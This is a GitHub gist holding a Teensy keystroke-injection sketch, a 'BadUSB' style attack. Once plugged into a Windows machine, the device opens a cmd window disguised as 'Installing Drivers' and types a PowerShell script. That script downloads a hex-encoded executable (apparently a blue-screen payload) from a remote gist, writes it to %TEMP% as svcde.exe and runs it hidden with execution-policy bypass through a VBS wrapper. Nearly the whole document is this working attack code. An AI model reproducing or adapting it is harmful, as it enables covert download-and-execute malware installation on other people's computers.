Created
March 4, 2017 06:42
-
-
Save un4ckn0wl3z/3749099ba45b6cf399c1f5c59a88010f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define TEENSY3 | |
| #ifdef TEENSY2 | |
| #include<usb_private.h> | |
| #endif | |
| void setup(){ | |
| delay(3000); | |
| wait_for_drivers(2000); | |
| minimise_windows(); | |
| delay(500); | |
| while(!cmd(3,500,"cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\"")) | |
| { | |
| reset_windows_desktop(2000); | |
| } | |
| Keyboard.println("echo $wc = New-Object System.Net.WebClient > %temp%\\dl.ps1"); | |
| Keyboard.println("echo $url = \"https://gist.github.com/haxtivitiez/1787b19549b2bb53bb4d4c9123a7f5d5/raw/6779a3f5d952d65a2f74b3696959220c157697ed/hexbsod\" >> %temp%\\dl.ps1"); | |
| Keyboard.println("echo [string]$hex = $wc.DownloadString($url) >> %temp%\\dl.ps1"); | |
| Keyboard.println("echo [Byte[]] $temp = $hex -split ' ' >> %temp%\\dl.ps1"); | |
| Keyboard.println("echo [System.IO.File]::WriteAllBytes(\"%TEMP%\\svcde.exe\", $temp) >> %temp%\\dl.ps1"); | |
| Keyboard.println("echo start-process -nonewwindow \"%TEMP%\\svcde.exe\" >> %temp%\\dl.ps1"); | |
| delay(2000); | |
| Keyboard.println("echo Set oShell = CreateObject(\"WScript.Shell\") > %temp%\\dl.vbs"); | |
| Keyboard.println("echo oShell.Run(\"powershell.exe -ep bypass -nologo -c %temp%\\dl.ps1\"),0,true >> %temp%\\dl.vbs"); | |
| delay(1000); | |
| Keyboard.println("wscript %temp%\\dl.vbs"); | |
| delay(3000); | |
| Keyboard.println("exit"); | |
| } | |
| void loop(){ | |
| } | |
| void wait_for_drivers(int sleep) | |
| { | |
| bool CapsLockTrap = is_caps_on(); | |
| while(CapsLockTrap == is_caps_on()) | |
| { | |
| Keyboard.set_key1(KEY_CAPS_LOCK); | |
| Keyboard.send_now(); | |
| delay(200); | |
| Keyboard.set_modifier(0); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| delay(500); | |
| delay(sleep); | |
| } | |
| Keyboard.set_key1(KEY_CAPS_LOCK); | |
| Keyboard.send_now(); | |
| delay(200); | |
| Keyboard.set_modifier(0); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| delay(500); | |
| delay(sleep); | |
| } | |
| int ledkeys(void) {return int(keyboard_leds);} | |
| bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} | |
| bool cmd_admin(int reps, int millisecs) | |
| { | |
| make_sure_capslock_is_off(); | |
| delay(700); | |
| Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); | |
| Keyboard.send_now(); | |
| Keyboard.set_modifier(0); | |
| Keyboard.send_now(); | |
| delay(3000); | |
| Keyboard.print("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1 && title Installing Drivers\""); | |
| delay(2000); | |
| Keyboard.set_modifier(MODIFIERKEY_CTRL); | |
| Keyboard.send_now(); | |
| Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); | |
| Keyboard.send_now(); | |
| Keyboard.set_key1(KEY_ENTER); | |
| Keyboard.send_now(); | |
| delay(200); | |
| Keyboard.set_modifier(0); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| delay(500); | |
| delay(7000); | |
| send_left_enter(); | |
| delay(4000); | |
| create_click_capslock_win(); | |
| check_for_capslock_success_teensy(reps,millisecs); | |
| } | |
| bool cmd(int reps, int millisecs, char *SomeCommand) | |
| { | |
| make_sure_capslock_is_off(); | |
| delay(700); | |
| Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); | |
| Keyboard.set_key1(KEY_R); | |
| Keyboard.send_now(); | |
| delay(500); | |
| Keyboard.set_modifier(0); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| Keyboard.print(SomeCommand); | |
| Keyboard.set_key1(KEY_ENTER); | |
| Keyboard.send_now(); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| delay(3000); | |
| create_click_capslock_win(); | |
| check_for_capslock_success_teensy(reps,millisecs); | |
| } | |
| void make_sure_capslock_is_off(void) | |
| { | |
| if (is_caps_on()) | |
| { | |
| delay(500); | |
| Keyboard.set_key1(KEY_CAPS_LOCK); | |
| Keyboard.send_now(); | |
| delay(200); | |
| delay(700); | |
| Keyboard.set_modifier(0); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| delay(500); | |
| delay(700); | |
| } | |
| } | |
| void create_click_capslock_win() | |
| { | |
| Keyboard.println("echo Set WshShell = WScript.CreateObject(\"WScript.Shell\"): WshShell.SendKeys \"{CAPSLOCK}\" > %temp%\\capslock.vbs"); | |
| delay(400); | |
| Keyboard.println("wscript %temp%\\capslock.vbs"); | |
| delay(2000); | |
| } | |
| bool check_for_capslock_success_teensy(int reps, int millisecs) | |
| { | |
| unsigned int i = 0; | |
| do | |
| { | |
| delay(millisecs); | |
| if (is_caps_on()) | |
| { | |
| make_sure_capslock_is_off(); | |
| delay(700); | |
| return true; | |
| } | |
| i++; | |
| } | |
| while (!is_caps_on() && (i<reps)); | |
| return false; | |
| } | |
| void minimise_windows(void) | |
| { | |
| Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); | |
| Keyboard.set_key1(KEY_M); | |
| Keyboard.send_now(); | |
| delay(300); | |
| Keyboard.set_modifier(0); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| delay(500); | |
| delay(300); | |
| } | |
| void reset_windows_desktop(int sleep) | |
| { | |
| delay(1000); | |
| minimise_windows(); | |
| delay(sleep); | |
| minimise_windows(); | |
| delay(sleep); | |
| minimise_windows(); | |
| delay(200); | |
| } | |
| void send_left_enter(){ | |
| delay(1000); | |
| Keyboard.set_key1(KEY_LEFT); | |
| Keyboard.send_now(); | |
| delay(100); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| Keyboard.set_key1(KEY_ENTER); | |
| Keyboard.send_now(); | |
| delay(100); | |
| Keyboard.set_key1(0); | |
| Keyboard.send_now(); | |
| } | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment